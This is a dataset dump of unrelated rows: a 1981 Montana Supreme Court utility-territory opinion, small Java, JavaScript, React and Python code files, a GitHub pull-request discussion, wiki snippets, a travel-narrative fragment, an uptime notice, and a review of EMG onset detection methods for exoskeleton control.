text
stringlengths 0
128k
|
|---|
TONGUE RIVER ELECTRIC COOPERATIVE, INC., a montana corporation, Plaintiff and Respondent, v. MONTANA POWER COMPANY, a montana corporation, Defendant and Appellant.
No. 81-233.
Submitted Oct. 20, 1981.
Decided Nov. 25, 1981.
636 P.2d 862.
Crowley, Haughey, Hanson, Toole & Dietrich, Billings, Jack Ramirez argued, Billings, John W. Ross, Butte, for defendant and appellant.
Charles W. Jardine argued, Miles City, for plaintiff and respondent.
MR. JUSTICE SHEEHY
delivered the opinion of the Court.
This is an appeal from the District Court, Sixteenth Judicial District, Rosebud County, where judgment was entered against Montana Power Company to the effect that Tongue River Electric Cooperative had the right to provide electrical services to a subdivision located in Rosebud County, Montana, under section 69-5-105, MCA, and that Montana Power did not qualify to provide such electric services.under the provisions of section 69-5-107 MCA.
We reverse the District Court.
The subdivision is located in Section 33, Township 2 North, Range 41 East, Rosebud County, Montana, where housing is being developed by the Montana Power Company as a part of the townsite expansion of Colstrip. At the time of the hearing, Montana Power owned 80 acres located in section 33, and was in the process of purchasing from Burlington Northern, Inc. an additional 504.75 acres in the same section. Montana Power was already developing housing in the 80 acres first purchased, and electrical service had been installed. The subdivision is related to the Colstrip power production projects, and was undertaken for the purpose of providing housing for Montana Power employees and others associated with the development of the Colstrip power complex. Montana Power employees receive a discount on electric services provided by their employer. As of the date of the hearing, 42 townhouses and 13 single-family dwellings had been completed. The evidence indicated that it would take Tongue River 6 months to 1 year to provide the electrical service.
Tongue River contends that Montana Power is starting the subdivision and placing residences and townhouses thereon for the purpose of selling and renting them.
The District Court found that Tongue River had the closest line to the subdivision, crossing a portion of section 33, which now provides service to a business established on that section, outside the town limits of Colstrip, and that the same line extends north to supply services to other customers. It found that Montana Power owns the unincorporated town of Col-strip, coal mines, lands containing coal around the town, the generating plants, and is in the process of constructing additional plants and other property necessary for its generating operation. The District Court found that Colstrip is a rural area that does not have sufficient housing for Montana Power employees and construction workers and for that reason, the company started the construction of a subdivision to provide additional housing for its employees and construction workers on section 33. The subdivision is separated from Colstrip by a state highway.
The Territorial Integrity Act of 1971, section 69-5-101, et seq., MCA, was the result of a settlement of long-standing disputes between the investor-owned utilities and the electrical cooperatives over which electrical supplier would have the right to provide electrical service to new consumers and customers. Succinctly stated, under the act, the electric supplier having a line nearest the “premises” of nonindustrial or noncommercial new consumers has the right to provide the electric service. Section 69-5-105(1), MCA. The nearest electric supplier to such new consumers is determined on the shortest straight line which can be drawn from the conductor nearest the “premises” to the nearest permanent portion of the premises to be served. Montana-Dakota Util. v. Lower Yellowstone (1978), 178 Mont. 427, 433, 585 P.2d 626, 630; section 69-5-105(2), MCA. The act contains an exception, however, with regard to industrial, commercial, or other consumers, that “nothing ... shall restrict the right of an electric supplier to furnish electric service to any property owned by the electric supplier”. Section 69-5-107, MCA.
In interpreting the application of section 69-5-107, MCA, the District Court concluded:
“...This Court holds that ‘premises’ and ‘property’ do not have the same meaning. ‘Premises’, as used in this Act, does not necessarily mean property owned by an electric supplier. It means property which is owned or used by an electric supplier for commercial or industrial usage as defined by the Act in section 69-5-102(7), MCA, 1979, which provides:
“‘(7)” Premises” means a building residence, structure, or facility to which electricity is being or is to be furnished; provided, that two or more buildings, structures, or facilities which are located on one tract or contiguous tracts of land and are utilized by one electric consumer for farming, business, commercial, industrial, institutional, governmental, or trailer court purposes shall together constitute one premises, except that any such building, structure, or facility, other than a trailer court, shall not, together with any other building, structure, or facility, constitute one premises if the electric service to it is separately metered and the charges for such service are calculated independently of charges for service to any other building, structure, or facility.’
“To hold that section 69-5-107 be given its literal effect would destroy the purpose of the act in this case.”
Thus, the District Court, in interpreting section 69-5-107, which states that an electric supplier shall have the right to furnish electric service to “any property” owned by the electric supplier, limited the term “any property” to commercial or industrial usage by the electric supplier.
The insertion of that limited meaning to the term “any property” contravenes the role of courts in interpreting statutes. That role is defined in section 1-2-101, MCA, which states:
“In the construction of a statute, the office of the judge is simply to ascertain and declare what is in terms or in substance contained therein, not to insert what has been omitted or to omit what has been inserted. . .”
The term “any property” is not ambiguous. It is plain and certain. Where the intention of the legislature can be determined from the plain meaning of the words used, the courts may not go further and apply any other means of interpretation. Haker v. Southwestern Ry. Co. (1978), 176 Mont. 364, 369, 578 P.2d 724, 727; State ex rel. Huffman v. District Court (1969), 154 Mont. 201, 204, 461 P.2d 847, 849.
By statute, when the term “property” is used, it means real and personal property. Section 1-1-205(3), MCA. That code definition is binding on the District Court and on us:
“Whenever the meaning of a word or phrase is defined in any part of this code, such definition is applicable to the same word or phrase wherever it occurs, except where a contrarv intention plainly appears.” Section 1-2-107, MCA.
We find and hold under facts of this case that Montana Power is entitled to the benefit of the exception contained in section 69-5-107, MCA, to the effect that it may supply “any property” owned by it.
The judgment of the District Court is reversed.
MR. CHIEF JUSTICE HASWELL and JUSTICES DA-LY, HARRISON, SHEA, MORRISON and WEBER concur.
|
package gnnt.MEBS.broke.model;
import gnnt.MEBS.base.model.Clone;
public class MBrokerageAndOrganization
extends Clone
{
private String brokerageNO;
private String organizationNO;
public String getBrokerageNO()
{
return this.brokerageNO;
}
public void setBrokerageNO(String brokerageNO)
{
this.brokerageNO = brokerageNO;
}
public String getOrganizationNO()
{
return this.organizationNO;
}
public void setOrganizationNO(String organizationNO)
{
this.organizationNO = organizationNO;
}
public String getId()
{
return this.brokerageNO;
}
public void setPrimary(String primary)
{
this.brokerageNO = primary;
}
}
|
/* eslint-disable no-undef */
const enforcePomodoro = require('../index')
jest.useFakeTimers()
describe('totalSetTimeout', () => {
it('initiates sessions and breaks consecutively for 15 minutes', () => {
enforcePomodoro(5, 2)
jest.advanceTimersByTime(15 * 60 * 1000)
expect(setTimeout).toHaveBeenCalledTimes(5)
})
})
|
Fix crash from memory corruption by switching unique_ptr for shared_ptr.
This fixes a new crash caused by the use of unique_ptr's.
Without this, things crash immediately after the callback exits (when using IMU data).
I signed it!
Could you please explain why and what you believe this to fix? The code before looks correct to me.
@wohe the unique_ptr usage was consistently crashing cartographer_ros whenever I ran cartographer_ros. The shared_ptr fixes this crash.
I think the issue with the unique_ptr is the fact that the IMU message is not exclusive to the cartographer node, so a unique pointer was causing memory corruption.
Where do you see multiple owners of the unique_ptr? Still looks good to me. That your crashes correlate with your change also does not convince me that this is causing/fixing it.
Assuming this is not the cause: Can you provide the console output from the crashes you see so that we can debug?
I must have caught things between merges yesterday. I can't seem to reproduce this. I'll report back if that changes.
|
Thread:Shyevsa/@comment-22439-20150210104016
Good day fellow Admiral! Welcome to !
If you are a new player, you may want to read up on the tutorials to get you started:
Thank you and have a good sortie run!
|
import numpy as np
import pprint
import matplotlib.pyplot as plt
from ResoFit.experiment import Experiment
import peakutils as pku
from ResoFit.simulation import Simulation
from scipy import signal
import scipy
folder = 'data/IPTS_20439/reso_data_20439'
sample_name = ['No Pb', '5mm Pb', '10mm Pb']
data_file = ['Ta_no_lead_6C.csv', 'Ta_5mm_lead_4C_norm_to_2C.csv', 'Ta_10mm_lead_6C.csv']
norm_to_file = ['blank_no_lead_6C.csv', 'blank_5mm_lead_4C_norm_to_2C.csv', 'blank_10mm_lead_6C.csv']
norm_factor = [1, 1, 1]
spectra_file = 'Ta_lead_10mm__0__040_Spectra.txt'
baseline = False
deg = 6
# x_axis = 'number'
logx = False
# # # Calibrate the peak positions
x_type = 'energy'
y_type = 'transmission'
source_to_detector_m = 16.45
offset_us = 0
fmt = '-'
lw = 1
exps = {}
ax0 = None
for _index, each_name in enumerate(sample_name):
exps[each_name] = Experiment(spectra_file=spectra_file, data_file=data_file[_index], folder=folder,
source_to_detector_m=source_to_detector_m, offset_us=offset_us)
exps[each_name].norm_to(file=norm_to_file[_index], norm_factor=norm_factor[_index])
if ax0 is None:
ax0 = exps[each_name].plot(x_type=x_type, y_type=y_type,
source_to_detector_m=source_to_detector_m, offset_us=offset_us,
logx=logx, baseline=baseline, baseline_deg=3, fmt=fmt, lw=lw, label=each_name)
else:
ax0 = exps[each_name].plot(ax_mpl=ax0, x_type=x_type, y_type=y_type,
source_to_detector_m=source_to_detector_m, offset_us=offset_us,
logx=logx, baseline=baseline, baseline_deg=3, fmt=fmt, lw=lw, label=each_name)
# simu.plot(ax_mpl=ax0[i], x_type='energy', y_type='attenuation',
# source_to_detector_m=source_to_detector_m, offset_us=offset_us, logx=True,
# mixed=False, all_layers=False, all_elements=False, items_to_plot=[_ele],
# fmt='-.', lw=1, alpha=1)
plt.xlim(90, 120)
plt.show()
#
# # experiment1.plot(offset_us=offset_us, source_to_detector_m=source_to_detector_m,
# # x_axis=x_axis, baseline=baseline, energy_xmax=energy_xmax,
# # lambda_xmax=lambda_xmax)
#
# data = 1-experiment1.data[0]
# # plt.plot(data, 'k-')
# _baseline = pku.baseline(data, deg=7)
# data_flat = data - _baseline
# plt.plot(data_flat, 'b-')
#
#
# indexes = pku.indexes(data_flat, thres=0.1, min_dist=50)
# print(indexes)
# plt.plot(data_flat[indexes], 'bx', label='peak')
#
# # peakind = signal.find_peaks_cwt(data_flat, widths=np.arange(1, len(data_flat)))
# # print(peakind)
# # plt.plot(data_flat[peakind], 'bs', label='peak')
#
# # After slicing
# experiment1.slice(slice_start=300, slice_end=2200, reset_index=True)
# data_sliced = 1-experiment1.data[0]
# # plt.plot(data_sliced, 'r:')
# _baseline_2 = pku.baseline(data_sliced, deg=7)
# data_sliced_flat = data_sliced - _baseline_2
# plt.plot(experiment1.img_num, data_sliced_flat, 'y-')
#
# indexes = pku.indexes(data_sliced_flat, thres=0.1, min_dist=50)
# x_indexes = indexes + 300
# print(indexes)
# plt.plot(x_indexes, data_sliced_flat[indexes], 'rx', label='peak')
#
# # peakind = signal.find_peaks_cwt(data_sliced_flat, widths=np.arange(1, len(data_sliced_flat)))
# # print(peakind)
# # plt.plot(data_sliced_flat[peakind], 'rs', label='peak')
#
# plt.show()
# plt.plot(x,y)
# plt.show()
# simulation.plot(items_to_plot=['U233'])
|
User:Garcello
This is me like the actual me um i got blocked so ima be on another account so yeah
new/temporary account User:Garcello2
|
but not ripe. About eleven o'clock arrived at Badoo, a small town consisting of about three hundred huts. A little north of this is another town, called likewise Badoo ; but they distinguish them by the names of Sansanding and Sansanba. The Slatee or governor of each of these towns exacts customs to a great amount from all cofBes, and if refused, they join together and plunder them. Judging it best to settle matters amicably, if possible, I gave him during the day the following articles ; viz. To Amar, the king's younger brother. Bars. Amber No. 2. - - 10
|
import React from 'react'
import { useDispatch } from 'react-redux'
import styled from 'styled-components'
import { useMediaQuery, useTheme } from '@material-ui/core'
import Box from '@material-ui/core/Box'
import IconButton from '@material-ui/core/IconButton'
import EditIcon from '@material-ui/icons/Edit'
import DeleteIcon from '@material-ui/icons/Delete'
import * as materialColors from '@material-ui/core/colors'
import {
setFullscreenDialog,
setLabelEditting,
setFormValue,
setDeleteAlert,
setDesktopDialog,
} from '../../../../data/labels/actions.js'
export const Label = ({ label }) => {
const theme = useTheme()
const isMediumScreen = useMediaQuery(theme.breakpoints.up('md'))
const dispatch = useDispatch()
const handleEdit = (e) => {
e.stopPropagation()
dispatch(setLabelEditting(label))
dispatch(setFormValue({ name: label.name, color: label.color }))
if (isMediumScreen) {
dispatch(setDesktopDialog(true))
} else {
dispatch(setFullscreenDialog(true))
}
}
const handleDelete = (e) => {
e.stopPropagation()
dispatch(setLabelEditting(label))
dispatch(setDeleteAlert(true))
}
return (
<Box
display="flex"
alignItems="center"
justifyContent="space-between"
width="100%"
>
<Box display="flex" alignItems="center">
<ColorIndicator
color={
theme.palette.type === 'dark'
? materialColors[label.color][200]
: materialColors[label.color][500]
}
></ColorIndicator>
<span>{label.name}</span>
</Box>
<Box display="flex">
<ActionButton aria-label="Edit label" onClick={handleEdit} size="small">
<EditIcon />
</ActionButton>
<ActionButton
hide={!isMediumScreen ? 1 : 0}
aria-label="Delete label"
onClick={handleDelete}
size="small"
>
<DeleteIcon />
</ActionButton>
</Box>
</Box>
)
}
export const ColorIndicator = styled.span`
background: ${({ color }) => color};
display: inline-block;
width: 20px;
height: 20px;
border-radius: 50%;
margin-right: 20px;
`
export const ActionButton = styled(IconButton)`
color: ${materialColors.grey[400]};
display: ${({ hide }) => (hide ? 'none' : 'inherit')};
`
|
package com.angkorteam.mbaas.server.validator;
import com.angkorteam.framework.extension.share.validation.JooqValidator;
import com.angkorteam.mbaas.server.wicket.Application;
import com.angkorteam.mbaas.server.wicket.ApplicationUtils;
import org.apache.wicket.validation.IValidatable;
import org.apache.wicket.validation.ValidationError;
import org.springframework.scheduling.support.CronSequenceGenerator;
/**
* Created by socheat on 4/24/16.
*/
public class JobCronValidator extends JooqValidator<String> {
private String jobId;
public JobCronValidator() {
}
public JobCronValidator(String jobId) {
this.jobId = jobId;
}
@Override
public void validate(IValidatable<String> validatable) {
String cron = validatable.getValue();
if (cron != null && !"".equals(cron)) {
try {
CronSequenceGenerator generator = new CronSequenceGenerator(cron);
} catch (IllegalArgumentException e) {
validatable.error(new ValidationError(this, "format"));
}
}
}
}
|
⚠️ Bofrost.at has degraded performance
In b87bad6, Bofrost.at (https://www.bofrost.at) experienced degraded performance:
HTTP code: 200
Response time: 818 ms
Resolved: Bofrost.at performance has improved in 8d44ba9 after 6 minutes.
|
Review of electromyography onset detection methods for real-time control of robotic exoskeletons
Background Electromyography (EMG) is a classical technique used to record electrical activity associated with muscle contraction and is widely applied in Biomechanics, Biomedical Engineering, Neuroscience and Rehabilitation Robotics. Determining muscle activation onset timing, which can be used to infer movement intention and trigger prostheses and robotic exoskeletons, is still a big challenge. The main goal of this paper was to perform a review of the state-of-the-art of EMG onset detection methods. Moreover, we compared the performance of the most commonly used methods on experimental EMG data. Methods A total of 156 papers published until March 2022 were included in the review. The papers were analyzed in terms of application domain, pre-processing method and EMG onset detection method. The three most commonly used methods [Single (ST), Double (DT) and Adaptive Threshold (AT)] were applied offline on experimental intramuscular and surface EMG signals obtained during contractions of ankle and knee joint muscles. Results Threshold-based methods are still the most commonly used to detect EMG onset. Compared to ST and AT, DT required more processing time and, therefore, increased onset timing detection, when applied on experimental data. The accuracy of these three methods was high (maximum error detection rate of 7.3%), demonstrating their ability to automatically detect the onset of muscle activity. Recently, other studies have tested different methods (especially Machine Learning based) to determine muscle activation onset offline, reporting promising results. Conclusions This study organized and classified the existing EMG onset detection methods to create consensus towards a possible standardized method for EMG onset detection, which would also allow more reproducibility across studies. The three most commonly used methods (ST, DT and AT) proved to be accurate, while ST and AT were faster in terms of EMG onset detection time, especially when applied on intramuscular EMG data. These are important features towards movement intention identification, especially in real-time applications. Machine Learning methods have received increased attention as an alternative to detect muscle activation onset. However, although several methods have shown their capability offline, more research is required to address their full potential towards real-time applications, namely to infer movement intention.
Background
Electromyography (EMG) has been used as an interface tool for human-robot interaction and rehabilitation systems [1].In fact, EMG is a relevant biological signal to inform on the motion onset of the user and can be applied in different applications such as the control of robotic devices in rehabilitation, kinesiology, biomechanics and motor control during several movements of the upper and lower extremities [2][3][4][5][6][7].
Muscle activation can be defined as the degree to which a muscle is excited, encompassing both the number of activated muscle fibers and the rate of their discharge [8].Therefore, muscle activation onset, which is commonly estimated from EMG, is a physiological variable related to the beginning of contraction of a given muscle.As there is a latency between the onset time and the final movement that involves action on tendons and bones, there is a time window after detecting movement intention that allows actuation and control of wearable robots such as an exoskeleton.Therefore, accurate and fast detection of muscle onset time can potentially be used to identify movement intention [2,9] and assist the user in real time.
The first method applied to detect muscle onset was the offline visual inspection by a trained user [10].Although it is a subjective approach, visual inspection can be considered to provide accurate EMG onset detection values [10,11].On the other hand, visual inspection lacks reproducibility and can hardly be used in real-time applications [10].In this context, computerized methods started to be developed and applied, and are currently the main solution to detect EMG onset in robotics and neurofeedback fields.
Due to the stochastic nature of the EMG signal, detecting onset of muscle activation is a challenging task, especially when EMG signals are weak [12].Furthermore, despite the extensive literature devoted to detection of muscle contraction episodes, there is not a gold standard approach yet [13] and there is a degree of disparity across studies with regard to the definitions and parameters applied in each algorithm.This leads to similar EMG onset detection methods, with different nomenclatures, making it difficult to identify the most appropriated method for a specific application [10,11,13].
Given the lack of agreement on a standardized method for EMG onset detection and its importance towards intuitive and natural EMG-based control systems, it is timely to explore methods for automatic EMG onset detection in this review and to compare the performance of some of the most commonly used ones towards online applications.Therefore, the main goal of this study was to review the state-of-the-art on EMG onset detection algorithms.This can boost the development of novel algorithms and finally create consensus towards a possible standardized method for EMG onset detection, which would also allow more reproducibility across studies.In fact, a recent international initiative called 'Consensus for experimental design in electromyography' (CEDE project), which aims to guide decision-making in recording, analysis, and interpretation of EMG data has been carried out.Results of our study can feed the CEDE project, as this initiate encompasses definitions for terms used in the EMG literature, basic principles for recording and analyzing EMG and electrode selection [8,14].
The second goal of our study was to evaluate the performance of the most commonly used onset detection methods [three threshold-based algorithms-single (ST), double (DT) and adaptive threshold (AT)] to determine muscle onset on experimental EMG data.This allowed us to to evaluate the potential of these methods towards the real-time control of wearable robots (e.g., robotic exoskeletons).
Literature review
This review was based on the papers retrieved from the Scopus database using the following query strings: TITLE-ABS-KEY ((emg OR electromyograph*) AND (onset AND detection)) and TITLE((emg OR electromyograph*) AND (onset OR muscle OR movement) AND (detection OR activation)).
The first search returned a total of 245 papers and the second search 171, for a total of 416 possible publications.This research considered papers published until March 2022.
We applied the following exclusion criteria for our review: • papers aiming at detecting muscle fatigue; • use of additional sensors (e.g., inertial measurement units).
A total of 156 full-text journal articles were selected for analysis.The papers were analysed in terms of their application domain, pre-processing method and EMG onset detection method.
In the application domain, papers were classified as follows: Robotics, Clinical, Research, and Others.Specifically, papers that used EMG onset detection in the robotics domain (e.g., to control a robotic device) were classified as Robotics.Papers that presented results on the application of EMG onset techniques for clinical purposes or in the clinical setting were defined as Clinical.Research papers were those that proposed and/or tested a new technique of EMG onset detection.The remaining papers were classified as Others.
Pre-processing methods used to improve the quality of EMG before the application of the onset method itself were also analyzed in detail.Each EMG onset detection method was included in one of the following categories: Visual Inspection, Threshold-based, Statistical, Machine Learning or Others.
Regarding the EMG source type, from the total of 156 full-text journal articles selected for the analysis, 15 of them used intramuscular electromyography (iEMG) signals as the EMG source type where to test the performance of their algorithms at, whereas 145 articles used surface electromyography (sEMG) as the main EMG source type.This means that 4 articles tested onset detection algorithms in both sEMG and iEMG.
Literature review results
Figure 1 presents the number of publications on EMG onset detection methods along the years.After analyzing all papers selected, the pre-processing and EMG onset detection categories were defined according to the methods used and their relevance in terms of papers in the literature that applied each of them.
Pre-processing methods
Pre-processing methods, used to improve the quality of EMG signals towards the extraction of meaningful information, usually add more computational time, which means a delay in real-time implementations.The pre-processing methods evaluated in this review were classified in the following categories: EMG Envelope, Teager-Kaiser Energy Operator (TKEO), Wavelet Transform and Others, which included those that did not fit in none of these categories.Different pre-processing methods were applied 90 times in the papers reviewed.Calculating the EMG envelope was the method most frequently used, followed by the TKEO method.
EMG envelope
According to the CEDE project, EMG envelope is a smooth curve that tracks changes in the amplitude of an EMG signal over time [8].Calculating the EMG envelope is a pre-processing method that can be obtained in several ways, as shown in Fig. 2.
To obtain the EMG envelope from raw signals, two main options are available: (1) low-pass filtering of the rectified signal; (2) root-mean-square (RMS) on raw EMG signal.
Low-pass filtering of the rectified signal One of the most common approaches to calculate the EMG envelope is to use a discrete version of traditional low-pass filters such as Butterworth or Chebyshev on the rectified EMG signal (obtained by computing the absolute value of the raw signal)..These filters can be considered as Infinite Impulse Response filters [15].This approach was applied in: [16][17][18][19][20][21][22][23][24][25][26], with the Butterworth being the most predominant filter used.
The MA is calculated with a series of averages from successive segments, with or without overlapping windows.The consequence of its use is the attenuation of rapid variations through local averaging, but retention of slow variations [28], smoothing the signal and acquiring its envelope.
The RMS value measures the square root of the signal's power.Therefore, it has a physical meaning.RMS is useful in many other applications [42].EMG envelopes can be calculated from the RMS according to Eq. 1.
where x i is the EMG value in the i th sample and N is the number of samples.
Teager-Kaiser energy operator (TKEO)
The TKE operator method ( [17, 25, 38-40, 48, 52, 53, 53-67]) was first proposed by Teager in 1982 [68][69][70].The results obtained in these studies suggested that the production of speech involved nonlinear processes.As a result, Teager derived the TKE operator in the discretetime domain to compute the energy of a sound.This method has been extended to cover other continuous signals such as EMG [53].
The discrete TKE operator ψ is defined in the time domain as: where n is the sequence index and x the raw EMG signal.Considering a signal defined by Eq. 3: where A is the amplitude, ω 0 (n) is the angular frequency, and θ is the initial phase, the energy operator can be rewritten as defined in Eq. 4: Equation 4 shows that the TKEO is proportional to the instantaneous amplitude (A) and frequency ( ω 0 ) of the input signal.Therefore, TKEO is usually applied on EMG signals to extract motor unit activity by making the action potential spikes sharper and narrower, enhancing the muscle activation points [53].
Several studies have demonstrated that pre-processing using TKEO can improve the EMG onset detection with respect to different pre-processing methods [17,52,53,57,71].
The WT is one of many time-frequency representations used in signal processing.These transforms deconstruct a time domain signal into a sum of signals of different scales and time shifts, to produce a time-frequency representation of a time domain signal.WT is an effective (1) tool to extract useful information from the EMG signal.[79].
Other pre-processing methods
The other pre-processing methods found in the literature were the Hilbert filter [9,[80][81][82], the Kalman filter [83], the Morphological Close Operator [38,55], the Morphological Open Operator [38], the Multi Objective Optimization Genetic Algorithm [84], the Adaptative Linear Energy Detector [85], the use of an statistical criterion based on the amplitude distribution of EMG signal [86], the Constant False Alarm Rate method [87] and the Empirical Mode Decomposition [82].
EMG onset detection methods
EMG onset detection methods are those that, when applied to the EMG signal (raw or pre-processed signal), allow the identification of the beginning of muscle activation.In the pasts, the onset of muscle activation could be detected using mainly the following methods: Visual inspection, Threshold-based and Statistical.Recently, other studies have tested different methods (especially Machine Learning based) to determine muscle activation onset, reporting promising results.In our study, all EMG onset detection methods that do not fit into none of the previously mentioned categories were classified as "Other EMG onset Detection Methods".Figure 3 shows the number of papers that applied each of these categories within each different application domain (Robotics, Clinical, Research and Others).EMG onset detection has been applied in the application domain 'Research' more than in all the other domains together.
Visual inspection
Visual inspection entails subjectivity and needs to be performed by an expert.There are no criteria established on how to carry out the visual inspection technique, although it is usually employed to detect the earliest rise in EMG activity above the steady-state (i.e., basal activity) [50,[88][89][90][91][92][93][94].
Threshold-based methods
The label 'THRESHOLD' in Fig. 3 encompasses the use of one or more threshold-based methods, which are thoroughly described in this section, in each of the papers analyzed in this review.Threshold-based are the most common EMG onset detection methods found in the literature, being tested 253 times across the 156 papers analyzed (i.e., several papers tested and/or compared more than one different method based on EMG threshold).
In this approach, one attributes a threshold to discriminate between baseline activity and muscle activation.Thresholding is widely used due to its simplicity, speed and reliability.The simplicity of thresholding lies in its straightforward implementation.Additionally, thresholding is computationally efficient, making it suitable for real-time analysis of EMG signals and handling large datasets.Regarding its reliability, thresholding is a robust method that has been used in numerous studies in the literature.Although thresholding may not always provide the most accurate detection of EMG onset, it remains a popular choice in EMG signal processing.Nonetheless, there is lack of agreement among researchers on a standardized threshold method for EMG onset detection [46].Cavanagh et al. were the first to propose the use of a threshold-based method [103]: authors investigated the dependence of electromechanical delay in the human elbow flexor group upon selected initial conditions at the time of muscle activation.Most common strategies followed to set threshold values are based on the baseline amplitude characteristics of the EMG signal, such as the mean or standard deviation.Some researchers name this strategy as the Shewhart protocol [16,30,104].Some of the signal characteristics that can be considered to select the threshold are the following: Threshold-based methods can be classified in three different categories: Single Threshold (ST), Double Threshold (DT) and Adaptive Threshold (AT).
ST compares the amplitude of the EMG signal (raw or EMG envelope) with a previously selected threshold.The onset is detected when the EMG amplitude is bigger than the threshold.
This method can be considered the most intuitive and standard computer-based method of time-locating the onset of muscle contraction activity [2].
ST can be useful to overcome some of the problems related to visual inspection.However, results of applying ST strongly depend on the choice of the threshold [134], which can lead to false positives in noisy signals.
In theses cases, it is advisable to work on the EMG envelope, which smooths the signal and improves the onset detection.
To overcome some of the problems associated with ST, Lidierth et al. introduced the DT method in 1986 [135].This method adds a second threshold to determine the muscle activation onset time, with the final goal of avoiding false positives and enhance EMG onset detection precision.A common strategy when applying DT method is to define an amplitude threshold, similar to what is done in ST.If the signal amplitude is higher than this threshold for a certain amount of time or samples (second threshold), then muscle activation is detected with DT.Due to the stochastic characteristics of the EMG signal, it is normally necessary to use a pre-processing method to obtain the signal envelope and then apply the second threshold.
Adaptive threshold (AT) The AT method can be applied directly on the raw EMG signal.AT segments the signal using the signal-to-noise (SNR) [61] or the energy value [85] to adapt the threshold of muscle activation by windows.As the SNR is the relative power of wanted EMG to unwanted signal components that are contained in the overall signal [8], this threshold method can be considered as an improvement of ST method, as it adapts its threshold value according to the EMG window being analyzed, which might enable a more precise EMG onset detection over time.AT was applied in the following works: [11,52,54,55,85,97,118,121,[152][153][154][155][156].
Statistical methods
The onset of muscle activation can be detected by evaluating the statistical properties of the EMG signal before and after a possible change in model parameters [115].Two main statistical approaches can be identified in the literature: the Approximated Generalized Likelihood Ratio (AGLR) and the Cumulative Sum (CUSUM).
Sometimes also referred to as "Maximum Likelihood Estimator", this method was first proposed as a change detection algorithm, with its first use in the context of muscle activity detection being presented in Hogan et al., in 1980 [157].In short, the AGLR algorithm calculates an estimate of muscle activity as a function of the mean and variance of the activity level [121].
By using a log-likehood ratio test g(k) [66], the AGLR method detects if there is muscle contraction or not.
The log-likelihood ratio test is defined by the following equation: where ln represents the natural logarithm, Y(n) represents the series of EMG samples, k the index of the product, r is the total length of the series, p1 and p0 represent the probability density function corresponding to the alternative hypothesis H 1 (i.e., there are changes in the statistical properties of the EMG sequence) and the null hypothesis H 0 (i.e., there are no changes in the statistical properties of the EMG sequence), respectively.
If the log-likelihood g(k) value is smaller than a predefined threshold, it indicates that the muscle is relaxed, whereas EMG onset is detected if g(k) value exceeds the threshold.
Cumulative sum (CUSUM): This method was used in: [67,72,95,109].CUSUM was first proposed by Ellaway in 1978 [161] with applications on the analysis of histograms.
The first study to propose the use of CUSUM to detect EMG onset was Chanaud et al., in 1991 [109], which used this method to determine how the different regions of the biceps femoris activated in a cat during a broad range of limb movements.
The CUSUM method works as follows [161]: a reference level (k), dependent on the task to be performed and selected in a previous training phase, is subtracted from each of the series of points on the signal (x1, x2, ..., xi, ..., Xn).The result of these subtractions, (5) shown in Eq. 6, is a new series of points (Si) which are formed by adding up these differences consecutively.
The CUSUM chart is defined as the sequential plot of the values of Si, expressed by the Eq.7: The CUSUM technique has a smoothing action on the data [161] and the EMG onset detection is determined by a previous threshold, which can be defined by a training phase (see [72] for more details).
Machine learning methods
Machine learning (ML), which is a discipline within the field of Artificial Intelligence, has recently gained increasing popularity due to the ability to extract patterns and information from complex and high-dimensional datasets.In the context of EMG onset detection, ML algorithms can automatically learn and adapt to the characteristics of the EMG signals, enabling the development of highly accurate and efficient detection methods.Machine learning-based algorithms were found in [33,65,164,165].
Di Nardo et al. [165] evaluated a novel machinelearning-based approach (DEMANN) for detecting muscle activation onset/offset timing from sEMG signals.The study trained a neural network and evaluated DEMANN's performance on simulated and real sEMG signals.DEMANN was validated against different reference algorithms, including the DT method.The study found that DEMANN provided a reliable prediction of muscle onset/offset and was minimally affected by SNR variability.
Trigili et al. [164] presented a ML-based algorithm able to detect users' motion intention based on EMG signals and assessed its applicability towards the control of an upper-limb exoskeleton for people with severe arm disabilities.The algorithm was able to detect the onset of muscle activation before the actual movement, and its computational load was compatible with real-time applications.The study concluded that the proposed algorithm was promising for controlling upper-limb exoskeletons in real-time applications, and for assisting people with severe arm disabilities in performing functional tasks.Dow et al. [33] presented the development of an algorithm to detect inspiratory events from EMG signals.
state-machine was utilized for classification and inspirations were detected with 98% accuracy in anesthetized and awake rats.The proposed algorithm can be explored in humans, as it may be useful for individuals requiring assisted ventilation.Ghislieri et al. [65] introduced and validated a new approach to detect muscle activation intervals from sEMG signals using long short-term memory (LSTM) recurrent neural networks.The performance of the proposed LSTM-based muscle activity detector was compared with two other widely used approaches: TKEO and DT method.The study included simulated and real sEMG signals from healthy individuals, orthopedic patients, and neurological patients.Results showed that the LSTM outperformed the other approaches.The proposed algorithm overcomes the main limitations of other tested approaches and works directly on sEMG signals without the need for background-noise and SNR estimation.
Despite the growing interest in using ML techniques for EMG onset detection, there is currently no consensus on a reference method.As noted by Di Nardo et al. [165], a standardized approach for evaluating and comparing the performance of ML algorithms for EMG onset detection is still lacking.While several studies have proposed different ML approaches and achieved promising results, the absence of a reference method makes it challenging to classify these methods.
Experimental protocol
The second goal of this study was to compare the performance of the three most commonly used methods for EMG onset detection, having in mind their potential towards online control of robotic exoskeletons for gait assistance or rehabilitation.As shown in Fig. 3, Threshold-based methods are the most commonly used in all application domains (Robotics, Clinical, Research and Others).For this reason, ST, DT and AT were tested on real data (iEMG and sEMG signals) obtained during motor tasks involving knee and ankle joints.This was done through simple tasks that could be used as a paradigm for comparison (such as knee and ankle flexionextension), rather than gait, to minimize the influence of possible external factors (e.g., mechanical artifacts) on the evaluation of these methods.Furthermore, knee and ankle flexion-extension are important tasks during gait [170][171][172][173].
Participants
Three healthy subjects participated in this study.All procedures were approved by a local Ethics Committee ("Ethics Committee of Clinical Research with Medicines of the Hospital Complex of Toledo"), as well as by the Spanish Agency of Medicines and Medical Devices (AEMPS)-record 721/19/EC.All subjects volunteered to participate in the study, were informed about the procedures and possible adverse effects, and signed the informed consent to participate.
The selected number of muscles was kept to a minimum to simplify the procedure due to the invasiveness of the iEMG electrodes.On the other hand, testing the feasibility and performance of different threshold-based controllers can be carried out with such reduced number of EMG signals, as demonstrated in our previous study, where EMG-based controllers were used online to trigger the beginning of walking steps while healthy volunteers walked with an exoskeleton [175].And, finally, these two muscles have an important role during gait [174].
Data processing
EMG onset was automatically detected offline using each of the three threshold-based methods (ST, DT and AT) on the EMG data recorded from each muscle (TA and VL) and participant, during knee and ankle flexionextension trials.Threshold values were determined individually for each subject and task, and were based on the standard deviation (SD) of the baseline activity of each EMG recording through visual inspection.
